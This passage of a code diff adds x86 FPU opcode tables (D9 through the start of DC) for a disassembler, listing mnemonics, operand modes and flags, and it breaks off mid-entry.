+INST inst_table_fpu_d9[72] = { + { INSTRUCTION_TYPE_FLD, "flds", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + // XXX: operand type is not correct + { INSTRUCTION_TYPE_FPU, "fldenv", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, "fldcw", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, "fstenv", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, "fstcw", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fnop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fchs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fabs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "ftst", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fxam", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fld1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldl2t", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldl2e", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldpi", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldlg2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldln2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fldz", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "f2xm1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fyl2x", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fptan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fpatan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fxtract", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fprem1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fdecstp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fincstp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fprem", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fyl2xp1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fsqrt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fsincos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "frndint", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fscale", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fsin", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fcos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; +INST inst_table_fpu_da[72] = { + { INSTRUCTION_TYPE_FIADD, "fiaddl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIMUL, "fimull", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FICOM, "ficoml", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FICOMP,"ficompl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISUB, "fisubl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISUBR,"fisubrl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIDIV, "fidivl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIDIVR,"fidivrl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmove", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucompp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; + +// XXX: fsetpm?? +INST inst_table_fpu_db[72] = { + { INSTRUCTION_TYPE_FILD, "fildl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIST, "fistl", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FLD, "fldt", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnb", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovne", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnbe", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCMOVC,"fcmovnu", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "fclex", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, "finit", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMI,"fucomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; +INST inst_table_fpu_dc[72] = { + { INSTRUCTION_TYPE_FADD, "faddl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FMUL, "fmull", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FCOM, "fcoml", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { 